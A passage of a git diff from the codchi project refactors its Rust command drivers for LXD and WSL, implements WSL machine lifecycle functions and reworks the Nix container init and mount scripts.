@@ -59,20 +56,17 @@ pub enum LinuxUser { Default, } +#[derive(Debug, Clone)] +pub struct LinuxPath(pub String); + impl LinuxCommandBuilder { pub fn with_user(mut self, user: LinuxUser) -> Self { self.user = Some(user); self } - pub fn with_cwd>(mut self, cwd: P) -> Self { - self.cwd = Some( - cwd.as_ref() - .to_str() - .with_context(|| format!("Invalid UTF in cwd: {self:?}.")) - .unwrap() - .to_string(), - ); + pub fn with_cwd(mut self, cwd: LinuxPath) -> Self { + self.cwd = Some(cwd); self } } diff --git a/codchi/cli/src/platform/cmd/mod.rs b/codchi/cli/src/platform/cmd/mod.rs index 7c9d5ef6..83679d6b 100644 --- a/codchi/cli/src/platform/cmd/mod.rs +++ b/codchi/cli/src/platform/cmd/mod.rs @@ -1,6 +1,5 @@ use super::*; use crate::util::UtilExt; -use crate::ROOT_PROGRESS_BAR; use anyhow::anyhow; use serde::Deserialize; use std::io::{BufRead, BufReader, Read}; @@ -87,10 +86,9 @@ pub trait CommandExt: Debug { } /// Wait for child to finish while streaming AND collecting both stderr and stdout. - fn outout_ok_streaming(&mut self, streamer: fn(String)) -> Result { + fn output_ok_streaming(&mut self, streamer: fn(String)) -> Result { log::trace!("Running command: {self:?}"); let mut child = self.spawn(OutputType::Collect)?; - fn stream( stream: impl Read, chan: Sender<(String, bool)>, diff --git a/codchi/cli/src/platform/cmd/nix.rs b/codchi/cli/src/platform/cmd/nix.rs index 064adb89..0d5b0f25 100644 --- a/codchi/cli/src/platform/cmd/nix.rs +++ b/codchi/cli/src/platform/cmd/nix.rs @@ -1,8 +1,6 @@ -use crate::cli::ModuleAttrPath; - use self::platform::LinuxCommandDriver; - use super::*; +use crate::cli::ModuleAttrPath; use serde_json::Value; #[derive(Error, Debug)] @@ -56,7 +54,7 @@ pub trait NixDriver: LinuxCommandTarget { "--json", "--quiet", "--quiet", - &format!("{}#{}", url, attr_path), + &self.quote_shell_arg(&format!("{}#{}", url, attr_path)), "--apply", "builtins.attrNames", ]; @@ -89,7 +87,13 @@ pub trait NixDriver: LinuxCommandTarget { } fn has_nixpkgs_input(&self, url: &str) -> Result { - let args = ["flake", "metadata", "--json", "--no-write-lock-file", url]; + let args = [ + "flake", + "metadata", + "--json", + "--no-write-lock-file", + &self.quote_shell_arg(&format!("{url}")), + ]; let metadata = self.run("nix", &args).output_json::()?; Ok(metadata diff --git a/codchi/cli/src/platform/linux/lxd.rs b/codchi/cli/src/platform/linux/lxd.rs index d280b622..b3216176 100644 --- a/codchi/cli/src/platform/linux/lxd.rs +++ b/codchi/cli/src/platform/linux/lxd.rs @@ -73,17 +73,11 @@ pub mod image { } pub mod container { - use std::path::PathBuf; - + use super::*; + use crate::{consts::{user, PathExt}, platform::PlatformStatus}; use anyhow::Context; use itertools::Itertools; - - use crate::{ - consts::{user, ToPath}, - platform::PlatformStatus, - }; - - use super::*; + use std::path::PathBuf; #[derive(Clone, Debug, Eq, PartialEq, Deserialize, Serialize)] /// LXD container information diff --git a/codchi/cli/src/platform/linux/mod.rs b/codchi/cli/src/platform/linux/mod.rs index 2e4d4b67..7ad9f8d9 100644 --- a/codchi/cli/src/platform/linux/mod.rs +++ b/codchi/cli/src/platform/linux/mod.rs @@ -1,4 +1,4 @@ -use super::{private::Private, CommandDriver, LinuxUser, NixDriver, Store}; +use super::{private::Private, LinuxCommandTarget, LinuxPath, LinuxUser, NixDriver, Store}; use crate::{ cli::DEBUG, consts::{self, machine::machine_name, *}, @@ -6,7 +6,7 @@ use crate::{ }; use anyhow::{Context, Result}; use log::*; -use std::{env, path::PathBuf}; +use std::{env, fs, path::PathBuf}; pub mod lxd; @@ -30,15 +30,19 @@ impl Store for StoreImpl { let rootfs = env::var("CODCHI_LXD_CONTAINER_STORE") .map(|dir| PathBuf::from(dir)) .context("Failed reading $CODCHI_LXD_CONTAINER_STORE from environment. This indicates a broken build.")?; - let mounts = vec![ - ( - host::DIR_CONFIG.clone(), - store::DIR_CONFIG.to_str().unwrap(), - ), - (host::DIR_DATA.clone(), store::DIR_DATA.to_str().unwrap()), - (host::DIR_NIX.clone(), store::DIR_NIX.to_str().unwrap()), + let mounts: Vec<(PathBuf, &str)> = vec![ + (host::DIR_CONFIG.clone(), &store::DIR_CONFIG.0), + (host::DIR_DATA.clone(), &store::DIR_DATA.0), + (host::DIR_NIX.clone(), &store::DIR_NIX.0), ]; - lxd::container::install(consts::CONTAINER_STORE_NAME, &rootfs, mounts)?; + lxd::container::install(consts::CONTAINER_STORE_NAME, &rootfs, mounts).map_err( + |err| { + log::error!("Removing leftovers of store files..."); + let _ = fs::remove_dir_all(host::DIR_CONFIG.join_store()); + let _ = fs::remove_dir_all(host::DIR_DATA.join_store()); + err + }, + )?; Ok(StoreImpl {}) } PlatformStatus::Stopped => { @@ -51,16 +55,16 @@ impl Store for StoreImpl { } } - fn cmd(&self) -> impl CommandDriver + NixDriver { - LxdCommandDriver { + fn cmd(&self) -> impl LinuxCommandTarget + NixDriver { + LinuxCommandDriver { name: consts::CONTAINER_STORE_NAME.to_string(), } } } impl MachineDriver for Machine { - fn cmd(&self) -> impl CommandDriver { - LxdCommandDriver { + fn cmd(&self) -> impl LinuxCommandTarget { + LinuxCommandDriver { name: machine::machine_name(&self.name), } } @@ -88,7 +92,10 @@ impl MachineDriver for Machine { "/nix/var/nix/profiles", ), (host::DIR_CONFIG.clone(), "/nix/var/nix/profiles/codchi"), - (host::DIR_DATA.join_machine(&self.name), user::DEFAULT_HOME), + ( + host::DIR_DATA.join_machine(&self.name), + &user::DEFAULT_HOME.0, + ), ]; lxd::container::install(&lxd_name, &rootfs, mounts)?; @@ -108,16 +115,18 @@ impl MachineDriver for Machine { } } -pub struct LxdCommandDriver { +#[derive(Debug, Clone)] +pub struct LinuxCommandDriver { pub name: String, } -impl CommandDriver for LxdCommandDriver { - fn build(&self, user: Option, cwd: Option) -> std::process::Command { + +impl LinuxCommandTarget for LinuxCommandDriver { + fn build(&self, user: &Option, cwd: &Option) -> std::process::Command { let mut cmd = std::process::Command::new("lxc"); cmd.arg("-q"); cmd.args(&["exec", &self.name]); if let Some(cwd) = &cwd { - cmd.args(&["--cwd", &cwd]); + cmd.args(&["--cwd", &cwd.0]); } if *DEBUG { cmd.args(&["--env", "CODCHI_DEBUG=1"]); @@ -142,8 +151,8 @@ impl CommandDriver for LxdCommandDriver { &format!( "HOME={}", match user { - LinuxUser::Root => consts::user::ROOT_HOME, - LinuxUser::Default => consts::user::DEFAULT_HOME, + LinuxUser::Root => &consts::user::ROOT_HOME.0, + LinuxUser::Default => &consts::user::DEFAULT_HOME.0, } ), ]); @@ -151,5 +160,12 @@ impl CommandDriver for LxdCommandDriver { cmd.arg("--"); cmd } + + fn get_driver(&self) -> Self { + self.clone() + } + + fn quote_shell_arg(&self, arg: &str) -> String { + arg.to_string() + } } -impl NixDriver for LxdCommandDriver {} diff --git a/codchi/cli/src/platform/machine.rs b/codchi/cli/src/platform/machine.rs index 8460e3e3..28664741 100644 --- a/codchi/cli/src/platform/machine.rs +++ b/codchi/cli/src/platform/machine.rs @@ -1,12 +1,13 @@ use super::{private::Private, LinuxCommandTarget, LinuxUser}; use crate::{ config::{Config, MachineConfig, MutableConfig}, - consts::{self, host, store, user, ToPath}, + consts::{self, host, store, user, PathExt, ToPath}, platform::{self, CommandExt, Driver, Store}, util::with_spinner, }; use anyhow::{bail, Context, Result}; use itertools::Itertools; +use log::info; use std::{fs, thread, time::Duration}; pub trait MachineDriver: Sized { @@ -207,18 +208,23 @@ git add flake.* "# )) .with_cwd(store::DIR_CONFIG.join_machine(&self.name)) - .wait_ok()?; + .output_ok_streaming(|line| info!("{line}\r"))?; spinner.set_message(format!("Building {}...", self.name)); let status = Self::read_platform_status(&self.name, Private)?; if status == PlatformStatus::NotInstalled { spinner.set_message(format!("Installing {}...", self.name)); - self.install(Private)?; + self.install(Private).map_err(|err| { + log::error!("Removing leftovers of machine files for {}...", self.name); + let _ = fs::remove_dir_all(host::DIR_CONFIG.join_machine(&self.name)); + let _ = fs::remove_dir_all(host::DIR_DATA.join_machine(&self.name)); + err + })?; spinner.set_message(format!("Initializing {}...", self.name)); self.wait_online()?; - self.cmd().run("poweroff", &[]).wait_ok()?; + // self.cmd().run("sudo", &["poweroff"]).wait_ok()?; } else { if status == PlatformStatus::Stopped { spinner.set_message(format!("Starting {}...", self.name)); @@ -291,8 +297,8 @@ git add flake.* "rm", &[ "-rf", - store::DIR_DATA.join_machine(&self.name).to_str().unwrap(), - store::DIR_CONFIG.join_machine(&self.name).to_str().unwrap(), + &store::DIR_DATA.join_machine(&self.name).0, + &store::DIR_CONFIG.join_machine(&self.name).0, ], ) .wait_ok() @@ -327,9 +333,10 @@ git add flake.* .cmd() .run(cmd, &args.iter().map(|str| str.as_str()).collect_vec()) .with_user(LinuxUser::Default), - None => self.cmd().run("su", &["-l", user::DEFAULT_NAME]), + None => self.cmd().run("bash", &["-l"]), }; - cmd.with_cwd(user::DEFAULT_HOME).exec()?; + cmd.with_cwd(user::DEFAULT_HOME.clone()) + .with_user(LinuxUser::Default).exec()?; Ok(()) } } diff --git a/codchi/cli/src/platform/store.rs b/codchi/cli/src/platform/store.rs index 53fb206b..a72fefed 100644 --- a/codchi/cli/src/platform/store.rs +++ b/codchi/cli/src/platform/store.rs @@ -4,7 +4,6 @@ use super::{ }; use crate::{consts::*, util::with_spinner}; use anyhow::Result; -use log::info; use std::{fs, thread, time::Duration}; /// Internal name of driver module in codchi's NixOS modules diff --git a/codchi/cli/src/platform/windows/mod.rs b/codchi/cli/src/platform/windows/mod.rs index 1f2c7c4e..8fea7679 100644 --- a/codchi/cli/src/platform/windows/mod.rs +++ b/codchi/cli/src/platform/windows/mod.rs @@ -1,19 +1,21 @@ -use std::{env, fs, process::exit}; - use self::wsl::wsl_command; - use super::{ - private::Private, LinuxCommandTarget, LinuxUser, Machine, MachineDriver, NixDriver, Store, + private::Private, Driver, LinuxCommandTarget, LinuxPath, LinuxUser, Machine, MachineDriver, + NixDriver, PlatformStatus, Store, }; use crate::{ cli::DEBUG, - consts::{self, host, machine, ToPath}, - platform::{CommandExt, PlatformStatus}, - util::make_writeable_if_exists, - ROOT_PROGRESS_BAR, + consts::{ + self, + files::{self}, + host, + machine::{self, machine_name}, + ToPath, + }, + platform::CommandExt, }; -use anyhow::anyhow; -use known_folders::{get_known_folder_path, KnownFolder}; +use anyhow::Result; +use std::{env, fs, thread}; pub const NIX_STORE_PACKAGE: &str = "store-wsl"; pub const NIXOS_DRIVER_NAME: &str = "wsl"; @@ -26,67 +28,65 @@ pub struct StoreImpl {} // https://github.com/rust-lang/cargo/issues/1721 impl Store for StoreImpl { - fn start_or_init_container(_: Private) -> anyhow::Result { + fn start_or_init_container(_: Private) -> Result { wsl::check_wsl()?; let status = wsl::get_platform_status(consts::CONTAINER_STORE_NAME)?; log::trace!("WSL store container status: {status:#?}"); + let store = StoreImpl {}; match status { - PlatformStatus::NotInstalled => (|| { - let msix_path = get_known_folder_path(KnownFolder::ProgramData) - .ok_or(anyhow!("FOLDERID_ProgramData missing"))? - .join(consts::APP_NAME) - .join(consts::files::STORE_ROOTFS_NAME); - assert!( - fs::metadata(&msix_path).is_ok(), - "Store rootfs missing in MSIX. Search path was: {msix_path:?}" - ); - - let tmp_path = host::DIR_RUNTIME - .join(consts::APP_NAME) - .get_or_create()? - .join(consts::files::STORE_ROOTFS_NAME); - make_writeable_if_exists(&tmp_path)?; - fs::copy(msix_path, &tmp_path)?; - - wsl::wsl_command() - .arg("--import") - .arg(consts::CONTAINER_STORE_NAME) - .arg(host::DIR_DATA.join_store().get_or_create()?) - .arg(&tmp_path) - .wait_ok()?; - host::DIR_DATA.get_or_create()?; - host::DIR_CONFIG.get_or_create()?; - - make_writeable_if_exists(&tmp_path)?; - fs::remove_file(&tmp_path)?; - - Self::start_or_init_container(Private) - })() + PlatformStatus::NotInstalled => wsl::import( + files::STORE_ROOTFS_NAME, + consts::CONTAINER_STORE_NAME, + host::DIR_DATA.join_store(), + || Self::start_or_init_container(Private), + ) .map_err(|err| { - log::error!("Removing leftovers of WSL store container..."); - let _ = wsl::wsl_command() - .arg("--terminate") - .arg(consts::CONTAINER_STORE_NAME) - .wait_ok(); - let _ = wsl::wsl_command() - .arg("--unregister") - .arg(consts::CONTAINER_STORE_NAME) - .wait_ok(); + log::error!("Removing leftovers of store files..."); + let _ = fs::remove_dir_all(host::DIR_CONFIG.join_store()); + let _ = fs::remove_dir_all(host::DIR_DATA.join_store()); err }), - PlatformStatus::Stopped => { - let store = StoreImpl {}; + PlatformStatus::Running + if store + .cmd() + .run("nix", &["store", "ping", "--store", "daemon"]) + .wait_ok() + .is_ok() => + { + Ok(store) + } + _ => { // Start init in background. this will keep the WSL distro running + // use consts::store::INIT_ENV; + // use consts::store::INIT_LOG; + // use consts::INIT_EXIT_ERR; + // use consts::INIT_EXIT_SUCCESS; + + // store + // .cmd() + // .script(format!( + // r#" + // cat < "{INIT_ENV}" + // CODCHI_DEBUG="$CODCHI_DEBUG" + // CODCHI_IS_STORE="$CODCHI_IS_STORE" + // WSL_CODCHI_DIR_CONFIG="$WSL_CODCHI_DIR_CONFIG" + // WSL_CODCHI_DIR_DATA="$WSL_CODCHI_DIR_DATA" + // EOF + + // touch "{INIT_LOG}" + // awk '/^{INIT_EXIT_ERR}$/{{ exit 1}};/^{INIT_EXIT_SUCCESS}$/{{exit 0}};1' < <(tail -f "{INIT_LOG}") + // "#, + // )) + // .output_ok_streaming(|out| log::info!("{out}\r"))?; store .cmd() .run("/sbin/init", &[]) - .outout_ok_streaming(|out| log::info!("{out}\r"))?; + .output_ok_streaming(|out| log::info!("{out}\r"))?; Ok(store) } - PlatformStatus::Running => Ok(StoreImpl {}), } } @@ -104,24 +104,75 @@ impl MachineDriver for Machine { } } - fn read_platform_status(_name: &str, _: Private) -> anyhow::Result { - todo!() + fn read_platform_status(name: &str, _: Private) -> Result { + wsl::get_platform_status(&machine::machine_name(name)) } - fn install(&self, _: Private) -> anyhow::Result<()> { - todo!() + fn install(&self, _: Private) -> Result<()> { + wsl::import( + files::MACHINE_ROOTFS_NAME, + &machine::machine_name(&self.name), + host::DIR_DATA.join_machine(&self.name), + || self.start(Private), + ) } - fn start(&self, _: Private) -> anyhow::Result<()> { - todo!() + fn start(&self, _: Private) -> Result<()> { + use consts::machine::INIT_ENV; + use consts::INIT_EXIT_ERR; + use consts::INIT_EXIT_SUCCESS; + Driver::store() + .cmd() + .script(format!( + r#" +while [ -f "{INIT_ENV}" ]; do + echo -e '\e[1A\e[KWaiting for machine init env...' + sleep .25 +done +cat < "{INIT_ENV}" +CODCHI_DEBUG="{debug}" +CODCHI_MACHINE_NAME="{name}" +EOF +"#, + debug = *DEBUG, + name = self.name, + )) + .output_ok_streaming(|out| log::info!("{out}\r"))?; + + let log_file = machine::init_log(&self.name); + // let machine_log_prefix = machine_name(&self.name); + thread::spawn(move || { + // Tail the init log of the machine until the keyword MACHINE_HAS_STARTED + Driver::store() + .cmd() + .script(format!( + r#" +touch "{log_file}" +awk '/^{INIT_EXIT_ERR}$/{{ exit 1}};/^{INIT_EXIT_SUCCESS}$/{{exit 0}};1' < <(tail -f "{log_file}") +"# + )) + .output_ok_streaming(|out| log::info!("{out}\r")) + .unwrap(); + }); + // .join(); + + Ok(()) } - fn force_stop(&self, _: Private) -> anyhow::Result<()> { - todo!() + fn force_stop(&self, _: Private) -> Result<()> { + wsl::wsl_command() + .arg("--terminate") + .arg(machine_name(&self.name)) + .wait_ok()?; + Ok(()) } - fn delete_container(&self, _: Private) -> anyhow::Result<()> { - todo!() + fn delete_container(&self, _: Private) -> Result<()> { + wsl_command() + .arg("--unregister") + .arg(machine_name(&self.name)) + .wait_ok()?; + Ok(()) } } @@ -131,10 +182,10 @@ pub struct LinuxCommandDriver { } impl LinuxCommandTarget for LinuxCommandDriver { - fn build(&self, user: &Option, cwd: &Option) -> std::process::Command { + fn build(&self, user: &Option, cwd: &Option) -> std::process::Command { let mut cmd = wsl_command(); cmd.args(&["-d", &self.instance_name]); - cmd.args(&["--cd", &cwd.clone().unwrap_or("/".to_string())]); + cmd.args(&["--cd", &cwd.clone().map(|p| p.0).unwrap_or("/".to_string())]); // https://devblogs.microsoft.com/commandline/share-environment-vars-between-wsl-and-windows/ cmd.env("CODCHI_DEBUG", if *DEBUG { "1" } else { "" }); @@ -167,4 +218,8 @@ impl LinuxCommandTarget for LinuxCommandDriver { fn get_driver(&self) -> LinuxCommandDriver { self.clone() } + + fn quote_shell_arg(&self, arg: &str) -> String { + format!("'{}'", arg) + } } diff --git a/codchi/cli/src/platform/windows/wsl.rs b/codchi/cli/src/platform/windows/wsl.rs index 728922e5..f88f1627 100644 --- a/codchi/cli/src/platform/windows/wsl.rs +++ b/codchi/cli/src/platform/windows/wsl.rs @@ -1,9 +1,14 @@ -use std::{io, process::Command, sync::OnceLock}; +use std::{fs, io, path::PathBuf, process::Command, sync::OnceLock}; -use crate::platform::{CommandExt, PlatformStatus}; +use crate::{ + consts::{self, host, PathExt, ToPath}, + platform::{CommandExt, PlatformStatus}, + util::make_writeable_if_exists, +}; use anyhow::{anyhow, bail, Context, Result}; // use codepage_strings::Coding as _; use itertools::Itertools; +use known_folders::{get_known_folder_path, KnownFolder}; use log::warn; use version_compare::Version; // use windows::Win32::System::Console::GetConsoleOutputCP as _; @@ -99,3 +104,45 @@ pub fn get_platform_status(container_name: &str) -> Result { Ok(PlatformStatus::Stopped) } } + +pub fn import Result>( + rootfs_name: &str, + name: &str, + installation_path: PathBuf, + additional_setup: F, +) -> Result { + (|| { + let msix_path = get_known_folder_path(KnownFolder::ProgramData) + .ok_or(anyhow!("FOLDERID_ProgramData missing"))? + .join(consts::APP_NAME) + .join(rootfs_name); + assert!( + fs::metadata(&msix_path).is_ok(), + "WSL rootfs for {name} missing in MSIX. Search path was: {msix_path:?}" + ); + + let tmp_path = host::DIR_RUNTIME + .join(consts::APP_NAME) + .get_or_create()? + .join(rootfs_name); + make_writeable_if_exists(&tmp_path)?; + fs::copy(msix_path, &tmp_path)?; + + wsl_command() + .arg("--import") + .arg(name) + .arg(installation_path.get_or_create()?) + .arg(&tmp_path) + .wait_ok()?; + + make_writeable_if_exists(&tmp_path)?; + fs::remove_file(&tmp_path)?; + additional_setup() + })() + .map_err(|err| { + log::error!("Removing leftovers of WSL container {name}..."); + let _ = wsl_command().arg("--terminate").arg(name).wait_ok(); + let _ = wsl_command().arg("--unregister").arg(name).wait_ok(); + err + }) +} diff --git a/codchi/cli/src/util.rs b/codchi/cli/src/util.rs index d58693bb..9fe71431 100644 --- a/codchi/cli/src/util.rs +++ b/codchi/cli/src/util.rs @@ -59,7 +59,7 @@ where spinner.set_message(msg); f(&mut spinner).finally(|| { - spinner.finish(); + spinner.finish_and_clear(); root.remove(&spinner); }) } diff --git a/flake.nix b/flake.nix index 3a230acd..7212205b 100644 --- a/flake.nix +++ b/flake.nix @@ -95,9 +95,13 @@ checks.${system}.populate-cache = let + container = base: [ + base.config.build.tarball.passthru.createFiles + base.config.build.runtime + ]; buildInputs = [ - self.nixosConfigurations.lxd-base.config.system.build.toplevel - self.nixosConfigurations.wsl-base.config.system.build.toplevel + # self.nixosConfigurations.lxd-base.config.system.build.toplevel + # self.nixosConfigurations.wsl-base.config.system.build.toplevel # self.packages.${system}.wsl-ctrl-rootfs.passthru.createContents # self.packages.${system}.wsl-ctrl-rootfs @@ -106,7 +110,12 @@ self.packages.${system}.default self.packages.${system}.windows - ]; + ] + ++ container self.packages.${system}.store-lxd + ++ container self.packages.${system}.store-wsl + ++ container self.packages.${system}.machine-lxd + ++ container self.packages.${system}.machine-wsl + ; in pkgs.runCommandLocal "populate-cache" { } '' echo ${toString buildInputs} > $out diff --git a/nix/container/consts.nix b/nix/container/consts.nix index 24ebffb5..095c5de1 100644 --- a/nix/container/consts.nix +++ b/nix/container/consts.nix @@ -13,6 +13,9 @@ machine = { USER = "codchi"; }; + + INIT_EXIT_ERR = "INIT_ERR"; + INIT_EXIT_SUCCESS = "INIT_SUCCESS"; }; diff --git a/nix/container/machine/default.nix b/nix/container/machine/default.nix index 17878108..bf4e77f8 100644 --- a/nix/container/machine/default.nix +++ b/nix/container/machine/default.nix @@ -1,4 +1,4 @@ -{ pkgs, lib, config, ... }: +{ pkgs, lib, config, consts, ... }: let inherit (lib) mkOption mkEnableOption types mkIf; cfg = config.machine; @@ -51,31 +51,17 @@ in '' set -euo pipefail - if [ -n "''${CODCHI_DEBUG:-}" ]; then - set -x - fi - # temporarily store host's $PATH (useful for WSL) export HOST_PATH="$PATH" # Use config.system.binPackages and PATH from host export LANG="C.UTF-8" HOME=/root PATH="/bin:$PATH" - # Log the script output to /dev/kmsg or /run/log/stage-2-init.log. - # Only at this point are all the necessary prerequisites ready for these commands. - exec {logOutFd}>&1 {logErrFd}>&2 - if test -w /dev/kmsg; then - exec > >(tee -i /proc/self/fd/"$logOutFd" | while read -r line; do - if test -n "$line"; then - echo "<7>stage-2-init: $line" > /dev/kmsg - fi - done) 2>&1 - else - mkdir -p /run/log - exec > >(tee -i /run/log/stage-2-init.log) 2>&1 - fi - ${cfg.init.hostSetup} + if [ -n "''${CODCHI_DEBUG:-}" ]; then + set -x + fi + # Required by the activation script install -m 0755 -d /etc /etc/nixos install -m 01777 -d /tmp @@ -99,10 +85,10 @@ in : >> /etc/machine-id # Reset the logging file descriptors. - exec 1>&$logOutFd 2>&$logErrFd - exec {logOutFd}>&- {logErrFd}>&- echo "starting systemd..." + echo ${consts.INIT_EXIT_SUCCESS} + echo exec /run/current-system/systemd/lib/systemd/systemd "$@" ''; }; diff --git a/nix/container/machine/wsl.nix b/nix/container/machine/wsl.nix index 38c1d516..3b1eb4d7 100644 --- a/nix/container/machine/wsl.nix +++ b/nix/container/machine/wsl.nix @@ -8,8 +8,6 @@ let inherit (lib) mkEnableOption mkIf pipe concatLines; { target = "/nix/var/nix/daemon-socket"; source = "/nix/var/nix/daemon-socket"; } { target = "/nix/var/nix/db"; source = "/nix/var/nix/db"; } { target = "/nix/var/nix/profiles"; source = consts.store.DIR_CONFIG_MACHINE; } - # keep all profiles for GC - { target = "/nix/var/nix/profiles/codchi"; source = consts.store.DIR_CONFIG; } { target = "/home/${consts.machine.USER}"; source = consts.store.DIR_DATA_MACHINE; } ]; @@ -17,12 +15,20 @@ let inherit (lib) mkEnableOption mkIf pipe concatLines; (map ({ target, source }: let realSrc = mnt + source; in /* bash */ '' + # while mount | grep -wq "${target}"; do + # umount -f "${target}" || true + # done + [ ! -d "${realSrc}" ] && mkdir -p "${realSrc}" [ ! -d "${target}" ] && mkdir -p "${target}" mount --bind "${realSrc}" "${target}" '')) concatLines ]; + INIT_ENV = "${mnt}/.machine-init-env"; + INIT_ENV_LOCAL = "/.machine-init-env"; + INIT_LOG = "${mnt}/.machine-init-log-$CODCHI_MACHINE_NAME"; + in { @@ -38,15 +44,46 @@ in automount.options = "metadata,uid=1000,gid=100"; # TODO is this needed? user.default = consts.machine.USER; boot.systemd = true; + + # Symlink grep & systemctl for WSL such that it can determinde if distro is started. + # Alternative: boot.initWaitCommand in wsl.conf (undocumented) + # ln -fs /nix/var/nix/profiles/system/sw/bin/{grep,systemctl} / + boot.initWaitCommand = "/sbin/init-wait"; }); + files."/sbin/init-wait" = pkgs.writeShellScriptStatic "init-wait" /* bash */ '' + set -x + PATH="$PATH:/nix/var/nix/profiles/system/sw/bin:/nix/var/nix/profiles/system/sw/sbin" + systemctl is-system-running | grep -E "running|degraded" + ''; machine.init.hostSetup = /* bash */ '' - if [ -z "''${CODCHI_MACHINE_NAME:-}" ]; then + set -x + if [ ! -f "${INIT_ENV}" ]; then echo "This distribution is only meant to be started by codchi.exe!" exit 1 fi + # [ -f "${INIT_ENV}" ] && mv "${INIT_ENV}" "${INIT_ENV_LOCAL}" + # if [ ! -f "${INIT_ENV_LOCAL}" ]; then + # echo "This distribution is only meant to be started by codchi.exe!" + # exit 1 + # fi + + source "${INIT_ENV}" + rm "${INIT_ENV}" + + if [ -z "''${CODCHI_MACHINE_NAME:-}" ]; then + echo "CODCHI_MACHINE_NAME not set!" + exit 1 + fi + + set -E # make trap ERR work with set -e + trap 'echo ${consts.INIT_EXIT_ERR} >&2; echo' ERR + + # prefix stdout / stderr + exec 2> >(trap "echo" INT TERM; tee "${INIT_LOG}" >&2) 1>&2 ${mkMounts} + ln -fs ${mnt}/config /nix/var/nix/profiles/global if [ -n "''${CODCHI_WSL_USE_VCXSRV:-}" ]; then export PULSE_SERVER=tcp:$(ip route | awk '/^default/{print $3; exit}'); diff --git a/nix/container/store/default.nix b/nix/container/store/default.nix index 672dd543..60861b16 100644 --- a/nix/container/store/default.nix +++ b/nix/container/store/default.nix @@ -93,17 +93,6 @@ in echo "$@" >&2 } - # exec {logOutFd}>&1 {logErrFd}>&2 - # if test -w /dev/kmsg; then - # exec > >(tee -i /proc/self/fd/"$logOutFd" | while read -r line; do - # if test -n "$line"; then - # echo "<7>stage-2-init: $line" > /dev/kmsg - # fi - # done) 2>&1 - # else - # mkdir -p /run/log - # exec > >(tee -i /run/log/stage-2-init.log) 2>&1 - # fi '' filesystem ssl diff --git a/nix/container/store/wsl.nix b/nix/container/store/wsl.nix index 21691d5a..cf3fb7a3 100644 --- a/nix/container/store/wsl.nix +++ b/nix/container/store/wsl.nix @@ -1,48 +1,84 @@ { lib, config, pkgs, consts, ... }: let inherit (lib) mkEnableOption mkIf; -in { + # INIT_ENV = "/.store-init-env"; + # INIT_LOG = "/.store-init-log"; +in +{ options.store.driver.wsl = { enable = mkEnableOption "WSL specific settings"; }; config = mkIf config.store.driver.wsl.enable { - files."etc/wsl.conf" = pkgs.writeText "wsl.conf" (lib.generators.toINI { } { - automount.mountFsTab = false; - # WSL doesn't respect boot.command. Therefore we have no automatic init - # system and start services manually - # boot.command = "/bin/run /sbin/init"; - }); + files = { + "etc/wsl.conf" = pkgs.writeText "wsl.conf" (lib.generators.toINI { } { + automount.mountFsTab = false; + # boot.command = "/bin/run /sbin/init"; + }); + "etc/profile" = pkgs.writeText "profile" /* bash */ '' + if [ -z "''${CODCHI_IS_STORE:-}" ]; then + echo "This distribution is managed by codchi.exe. DO NOT USE OR DELETE IT, or you might loose all of your data inside codchi!" + exit 1 + fi + ''; + "etc/bashrc" = pkgs.writeText "bashrc" /* bash */ '' + . /etc/profile + ''; + }; + + # Print everything to stderr and also to the log file + # exec > >(tee -i "${consts.store.INIT_LOG}" >&2) 1>&2 + # trap 'echo ${consts.INIT_EXIT_ERR} >&2' ERR + + # WSL doesn't supply WSLENV to the init, so we have to use a temporary + # file (/store-start-env) + + # while [ ! -f "${consts.store.INIT_ENV}" ]; do + # echo -e '\e[1A\e[KWaiting for store init env...' + # sleep .25 + # done + + # source "${consts.store.INIT_ENV}" + # rm "${consts.store.INIT_ENV}" + store.init.filesystem = lib.mkAfter /* bash */ '' if [ -z "''${CODCHI_IS_STORE:-}" ]; then logE "This distribution is only meant to be started by codchi.exe!" exit 1 fi - - ${with lib; pipe - { - ${consts.store.DIR_CONFIG} = "$WSL_CODCHI_DIR_CONFIG"; - ${consts.store.DIR_DATA} = "$WSL_CODCHI_DIR_DATA"; - } - [ - (mapAttrsToList (path: var: /* bash */ '' - if [ -z "${var}" ] || [ ! -d "${var}" ]; then - logE "Environment variable \${var} not set or host directory doesn't exist." - exit 1 - fi - [ -d "${path}" ] || mkdir -p "${path}" - mount --bind "${var}" "${path}" - '')) - concatLines - ] + + if [ -z "''${WSL_CODCHI_DIR_CONFIG:-}" ] || [ ! -d "''${WSL_CODCHI_DIR_CONFIG:-}" ]; then + logE "Environment variable \$WSL_CODCHI_DIR_CONFIG not set or host directory doesn't exist." + exit 1 + fi + + mkLink() { + src="$1" + target="$2" + echo "Linking $src to $target" >&2 + [ -d "$(dirname $target)" ] || mkdir -p "$(dirname $target)" + [ -L "$target" ] && rm "$target" + ln -s "$src" "$target" + } + + mkLink "$WSL_CODCHI_DIR_CONFIG" "${consts.store.DIR_CONFIG}" + mkLink "$WSL_CODCHI_DIR_CONFIG" "/mnt/wsl/codchi${consts.store.DIR_CONFIG}" + + mkMnt() { + src="$1" + target="$2" + echo "Mounting $src on $target" >&2 + while mount | grep -wq "$target"; do + umount "$target" + done + [ -d "$src" ] || mkdir -p "$src" + [ -d "$target" ] || mkdir -p "$target" + mount --bind "$src" "$target" } # TODO check what happens if store stops and some machines continue to run - [ -d "/mnt/wsl/codchi" ] || mkdir -p "/mnt/wsl/codchi" - if ! mount | grep -q "/mnt/wsl/codchi"; then - mount --bind "/" "/mnt/wsl/codchi" - fi - trap "umount -f /mnt/wsl/codchi" EXIT + mkMnt "/data" "/mnt/wsl/codchi/data" + mkMnt "/nix" "/mnt/wsl/codchi/nix" ''; # this is needed to keep WSL running (otherwise it shuts down after 8 sec.) diff --git a/nix/nixos/driver/default.nix b/nix/nixos/driver/default.nix index fd0c6b72..28048208 100644 --- a/nix/nixos/driver/default.nix +++ b/nix/nixos/driver/default.nix @@ -25,11 +25,16 @@ in }; }).config.build.tarball; # Create files required by the driver - system.activationScripts.codchi-create-files = lib.stringAfter [ "etc" ] /* bash */ '' - ( cd / && - ${lib.getExe config.system.build.codchi.container.passthru.createFiles} - ) - ''; + systemd.services."create-files" = { + after = [ "network.target" ]; + wantedBy = [ "multi-user.target" ]; + serviceConfig.Type = "oneshot"; + script = /* bash */ '' + ( cd / && + ${lib.getExe config.system.build.codchi.container.passthru.createFiles} + ) + ''; + }; # Make sure all profiles are recorded as gcroots systemd.tmpfiles.rules = [ @@ -39,14 +44,14 @@ in # disable nixos-rebuild system.disableInstallerTools = mkForce true; - systemd = { - services = { - nix-daemon.enable = mkForce 